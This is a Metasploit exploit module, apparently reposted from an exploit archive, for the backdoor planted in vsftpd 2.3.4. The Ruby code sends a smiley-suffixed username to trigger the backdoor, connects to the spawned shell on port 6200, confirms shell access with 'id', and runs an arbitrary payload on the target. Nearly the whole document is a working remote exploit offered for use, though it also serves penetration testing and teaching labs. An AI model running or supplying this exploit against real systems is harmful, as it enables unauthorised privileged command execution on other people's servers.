VSFTPD v2.3.4 Backdoor Command Execution

##
# $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
            'Description'    => %q{
                    This module exploits a malicious backdoor that was added to the VSFTPD download
                    archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
                    June 30th 2011 and July 1st 2011 according to the most recent information
                    available. This backdoor was removed on July 3rd 2011.
            },
            'Author'         => [ 'hdm', 'mc' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13099 $',
            'References'     =>
                [
                    [ 'URL', 'http://pastebin.com/AetT9sS5'],
                    [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
                ],
            'Privileged'     => true,
            'Platform'       => [ 'unix' ],
            'Arch'           => ARCH_CMD,
            'Payload'        =>
                {
                    'Space'    => 2000,
                    'BadChars' => '',
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType'    => 'cmd_interact',
                            'ConnectionType' => 'find'
                        }
                },
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                ],
            'DisclosureDate' => 'Jul 3 2011',
            'DefaultTarget' => 0))
 
        register_options([ Opt::RPORT(21) ], self.class)
    end
 
    def exploit
 
        nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
        if nsock
            print_status("The port used by the backdoor bind listener is already open")
            handle_backdoor(nsock)
            return
        end
 
        # Connect to the FTP service port first
        connect
 
        banner = sock.get_once(-1, 30).to_s
        print_status("Banner: #{banner.strip}")
 
        sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
        resp = sock.get_once(-1, 30).to_s
        print_status("USER: #{resp.strip}")
 
        if resp =~ /^530 /
            print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
            disconnect
            return
        end
 
        if resp !~ /^331 /
            print_error("This server did not respond as expected: #{resp.strip}")
            disconnect
            return
        end
 
        sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
 
        # Do not bother reading the response from password, just try the backdoor
        nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
        if nsock
            print_good("Backdoor service has been spawned, handling...")
            handle_backdoor(nsock)
            return
        end
 
        disconnect
 
    end
 
    def handle_backdoor(s)
 
        s.put("id\n")
 
        r = s.get_once(-1, 5).to_s
        if r !~ /uid=/
            print_error("The service on port 6200 does not appear to be a shell")
            disconnect(s)
            return
        end
 
        print_good("UID: #{r.strip}")
 
        s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
        handler(s)
    end
 
end



#  0day.today [2018-04-15]  #